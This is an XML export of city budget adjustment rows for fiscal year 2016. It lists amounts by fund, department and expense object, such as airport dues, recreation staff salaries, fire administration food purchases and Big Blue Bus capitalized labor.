<row _id="22418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1020</total></row>
<row _id="22419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40000</total></row>
<row _id="22420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20400</total></row>
<row _id="22421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14446</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14446</total></row>
<row _id="22422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>888564</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>888564</total></row>
<row _id="22423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400</total></row>
<row _id="22424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4507</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4507</total></row>
<row _id="22425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1628</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1628</total></row>
<row _id="22426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1628</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1628</total></row>
<row _id="22427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>719</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>719</total></row>
<row _id="22428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533680.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4325</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4325</total></row>
<row _id="22429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>53819</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53819</total></row>
<row _id="22430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6446</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6446</total></row>
<row _id="22431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>74592</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>74592</total></row>
<row _id="22432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>46532</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>46532</total></row>
<row _id="22433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12690</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12690</total></row>
<row _id="22434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>26410</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26410</total></row>
<row _id="22435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4136</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4136</total></row>
<row _id="22436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4000</total></row>
<row _id="22437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24500</total></row>
<row _id="22438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>834</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>834</total></row>
<row _id="22439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>213</total></row>
<row _id="22440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>144</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>144</total></row>
<row _id="22441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>75</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>75</total></row>
<row _id="22442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>194447</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>194447</total></row>
<row _id="22443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6102</total></row>
<row _id="22444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>42397</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>42397</total></row>
<row _id="22445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7698</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7698</total></row>
<row _id="22446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11030</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11030</total></row>
<row _id="22447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3600</total></row>
<row _id="22448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>35436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35436</total></row>
<row _id="22449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7080</total></row>
<row _id="22450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>597</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>597</total></row>
<row _id="22451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>16800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16800</total></row>
<row _id="22452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>990</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>990</total></row>
<row _id="22453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="22454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="22455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1322</total></row>
<row _id="22456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>502</total></row>
<row _id="22457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100</total></row>
<row _id="22458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401070.0</object><object_description>TENNIS RESERVATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1628</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1628</total></row>
<row _id="22460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560040.0</object><object_description>CISTERN PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20767</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20767</total></row>
<row _id="22461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-94259</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-94259</total></row>
<row _id="22462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-56615</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-56615</total></row>
<row _id="22463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401110.0</object><object_description>TRAFFIC ACCIDENT HAZ MAT CLEAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-30000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-30000</total></row>
<row _id="22464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1060</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1060</total></row>
<row _id="22465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1160</total></row>
<row _id="22466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
